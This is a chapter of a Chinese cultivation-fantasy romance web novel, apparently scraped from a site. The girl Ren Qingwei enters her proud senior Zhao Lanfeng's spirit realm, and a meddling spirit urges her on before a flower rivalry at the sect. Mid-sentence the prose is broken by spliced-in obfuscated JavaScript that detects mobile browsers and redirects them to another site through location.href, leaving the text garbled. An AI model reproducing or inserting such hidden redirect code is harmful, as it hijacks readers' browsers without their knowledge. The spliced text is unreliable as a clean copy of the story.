自那村姑入了宗门,她的身影就无一日缺席于赵阑风的梦中。
初是布满再生疤痕瘦骨嶙峋的身体,分明看着年纪不大,却比垂暮之年的老者更为虚弱枯朽。
若换作往日,被青云剑宗女修追捧着长大的张阑风定是对她无半点儿兴趣。
可不知为何,自百岁村里她瘫坐于莲台上,隔着村民们的尸山血海一脸无助又释然地望向自己时,赵阑风竟突生一丝诡异的摧毁欲。
想要靠近她看她欲逃又逃不掉的挣扎,想用灵识在她的神识里留下独属于自己的标志,想让一潭死水漾起春潮的波涛——
越这样想,因道德感而生的愧疚就会反制住摧毁欲,越发不敢直视她。
不知是否是因为内心这样的天人交战,他每每被那双眼直视时就会下意识说出反话,以此掩盖行为上对她的关照。
周而复始,迎来的便是每夜她入梦的纠缠。
梦里的她不似平日相见时那般木纳,反而大胆直白。时而在他耳边唤他师兄,时而搞乱般用那纤纤玉指轻划脖颈,时而在他忍无可忍闭眼打坐时攀上,问一些难以切齿的问题。
夜夜折磨他静心不得,醒来时已是浑身汗湿。朝早见到她后又应激地摆出那副高傲轻蔑的模样,循环往复。
倒是今日因听见她要与王二神修,烦躁得一直难以入睡,避开了大半夜的梦魅。
“仙者?”
轻柔的声音忽在他的灵域游荡开来,赵阑风惊得睁眼,清瘦的身影在他的眼前渐渐从模糊的影子里走来出来。
这是她在梦境里初次唤他“仙者”。
似察觉不对劲,他仔细从头到尾打量着这个任青微。身着薄纱,清隽的脸上神色淡然,秀发就那样潺潺溪流般顺着颈背滑落。
既不像日头的她,也不似往日入梦的她。
“这是你的灵域吗?我们尚未神修,这还是我第一次进入。”
任青微略感新奇地四处张望,欲要看清他的灵域里有何物。
“你是真的?”赵阑风下意识挡住她打望的视线,不管是真是假,他就想让她的眼里只盘踞着自己的身影。
“?自然是真——”
杏眼正疑惑着突然一滞,目光从他身上挪开看向身侧的什么东西。
赵阑风同样朝着那个方向望去,却只见淼淼白雾。
她呆滞了顷刻,随后摇着头一脸抗拒。
不满于她抛下自己演独角戏,赵阑风擒住她手腕,一把拉她近身。
白纱薄衣在晃动中和他身上的衣袍在空中交织。
“是吗?那我来验验你。”
——
从任青微的视角里,当她意欲证明自己的如假包换的身份时,体内的邪祟一脸贼笑地从她体内窜出,飘在半空中捂着嘴打量着赵阑风和她。
“天啊,这种情节怎么能少了我呢!宝宝,对付这种傲娇别扭怪就要打直球,推倒他质问他的真心——”
这是什么意思?
有时候邪祟会在她的梦里对她说一些令人摸不着头脑的话,什么逆袭成为万人迷,把宗门里的张三李四王二狗都迷晕。
这次意外误入赵阑风梦中的灵域,没想到邪祟也随她灵体一同卷进闹剧。
任青微对着激动眨眼的邪祟摇头拒绝,她不敢想如果自己做了这些举动,赵阑风醒来后会如何用眼神把她刀杀。
不曾想还未等到苏醒,就在摇晃的头摆正时被赵阑风拉近身,当面说要验她真身。
“绝了!爱看。”邪祟飘到二人之间,近距离观赏两人的一拉一扯。赵阑风欲将她拉近,她欲往后退回正常距离。
“宝宝相信我,你应该以近为退,拉住他的衣领质问他。”邪祟一本正经地在她耳侧教导,顺势加以利诱:“你不是想助其宗门增强灵识之力吗?这可是机会哦,你现为灵体,在他的灵域与他的接触可和神修助修灵识是一样的功效。”
听到能助赵阑风修炼灵识后,任青微像触了某种介质。她咬紧牙,用被擒住的手反抓住赵阑风的衣领,把对方杀了个措手不及。
往日傲然不屑的眉眼凑近后看,竟与她在百岁村喂养的稚犬惊人相似。
“记得唤他师兄!”邪祟越发起劲,两眼已激动得发光。
“……师兄。”她迟疑片刻,还是死马当活马医说出这两字。没想到对方非但没有反驳生气,甚至还颇为享受她这边唤他,清冷的眼逐渐染上人情的温度,两颊又泛起熟悉的红霞。
平日里抓她如抓小鸡崽的手此刻并不想抽离,老老实实地任她摆布。
见赵阑风这般顺从,任青微稍微放大胆子将他拉得更近,问道:“为何在意我真假?我若是假,你又能如何验我?”
地位瞬间上下逆转,赵阑风在她这般近距离的拷问下几乎能嗅到一股沐浴后的清香,方寸大乱,想往后仰却被她拉着衣领拽回,似是一定要从他口中得到想要的答案。
“我—我想凭你身上的疤痕验证。”赵阑风往下回避视线,自知所说出的话是何等有辱斯文。
“那如若证明了我是真,你得答应我一个条件。”
还未等赵阑风反应过来,任青微已开始解薄衫,那薄衫本就是就寝的衣着,轻轻一解就快摇摇欲坠。薄雾下,赵阑风似曾相识的轮廓乍现。
几乎是条件反射,他一把止住任青微的手,另一只手迅速抽离将她的薄衫系好。
这两个简单的举动就像快要耗尽他所有力气,苍劲有力的手微微颤抖。
“啊,这师兄行不行啊。”邪祟失望地看着赵阑风煞风景的正人君子之举,但瞧见他烧到脖颈处的红晕后又转为慈爱的微笑:“嗯,纯情傲娇也不错。”
虽依然听不懂邪祟在说什么,但任青微也确实觉得师兄不行。
既是他说要验身,又中途反悔。真没有九尺男儿应有的言出必行。
“那师兄不验身,就是认我是真的了。”
“我认了……”
赵阑风系好她的衣衫后便往后抽离,已是举旗投降的手下败将之姿。
任青微见他承认,这才淡淡一笑,面若皎月。
“那你得答应我,以后有朝一日得与我神修,我也想助你。”
“自你将我从百岁村带出,你处处关照我,我都知晓。”
“不想劳我身体故意假借外出延缓公布告令,给我祛疤膏治身上旧痕,神女洞之行一路护我周全——即便你不言,我全然明了。”
“我知你也想提高实力,我可以帮你。”
句句诚恳,句句入人心。
赵阑风此刻有种被任青微透过躯壳看清灵魂的错觉,一时间不知该如何回应。
以前在剑宗时,常常有同门师兄弟对他高傲狠绝的作风和剑宗长子的身份评头论足,近乎没人真正看到他私下对师兄弟的帮扶,和为证明自己所付出的努力。
“你不怪我屠尽百岁村之举?“
常年累月积下的习惯让他下意识想要回避这种将他看清的理解。
“何来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144510|196375||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
责怪?村民已因我疯癫,活着也是一种折磨。你有能力让他们解脱,我怎有资格怪你。”
任青微黯淡地笑了笑。
此番对话也算是互解心结,弥漫在赵阑风灵域的雾气消散了许多,最初空无一物的地方显露出阁楼的边角,隐隐能看见一个“剑”字。
赵阑风欲向任青微遮掩这个阁宇暗含的意义时,却发现她又在走神。
“宝宝,原来你是天然流派啊,天选万人迷类型。”邪祟见证了两人互透心声的对话,欣慰地捏了捏任青微的脸以示怜爱。
她未来得及去看雾气渐散开后的灵域,只是沉浸在这种亲呢的互动中。
见任青微看着虚空傻笑,赵阑风既松口气又沉沉叹气。
曙光降至,灵域开始隐匿于微光中,两人似察觉即将苏醒,都沉默且饶有深意地互相凝望。
任青微知对方尚未真正敞开心扉,也未真正应下神修之事。
赵阑风知对方有自己不知道的秘密。
他现在不过是在这轮明月高照下,其中一个被恩泽的世人罢了。
他不想成为其中的一个,他想成为仅有的一个。
——
是日醒来,任青微只当做了个真实的梦,继续照常打理宗门的食宿。参与众弟子的晨练,观摩灵识的修炼原理,以此为日后的助力打下基建。
“任师妹,能耽误下你的时间吗?”一弟子在晨练间隙找上她,看着对方稚气未脱的脸,她依稀想起对方名唤李四,是比顾晓月稍微年长几月的小弟子。
对方扭扭捏捏地从身后递出一朵不知名的花,喃喃道:“希望你收下。谢谢前几日帮我包扎伤口。”
任青微这才忆起前几日他在和赵阑风切磋时被其攻击欲极强的狼灵擦伤了手臂。
她接过花,不解风情地应付了几句便离开了。
留下欲借氛围表明心迹的李四原地吹着透着凉意的山风。
“我就说你小子会失败吧,不知天高地厚。师兄们都没下手,你还想造次。”
“别难过,没被直接拒绝就是好事,今后师妹还是会和你神修继续接触的。”
藏在古木后观摩全过程的弟子们幸灾乐祸地打趣着,让李四更加欲哭无泪。
更令人绝望的是大师兄也在其后,怒意已从微微压低的眉眼里杀出。
“李四,今日自行加一个钟的修炼。”
说完留下失语的李四,朝着任青微离开的方向拂袖而去。
尚未行至她居住的木屋,任青微察觉身后有人跟随,回头便见白衣束发一脸烦郁的赵阑风。
“仙者?”
她不知赵阑风找自己何事,正欲询问便被对方打断。
“以后叫我师兄。你在灵域里都能叫出口,现在为何不可?”
赵阑风见她衣兜里的花更是烦上加烦,一下就把自己还记得梦里的种种脱口而出。
“?竟不是梦。”
“当然不是。”
他继续靠近任青微,就像梦境一般,几乎能感觉到彼此的呼吸。
在任青微被这距离骇到愣住时,他往其衣兜里放了什么东西,便往后退开。
“既想助我神修,往后就多尝试与我亲近,师妹——“
话毕,心情大好地错身离去。
任青微往衣兜里看去,里面多了另一朵花,似比李四给的更为娇艳。
邪祟在任青微体内激动地尖叫。
“谁说这师兄不行的,这师兄太行了!”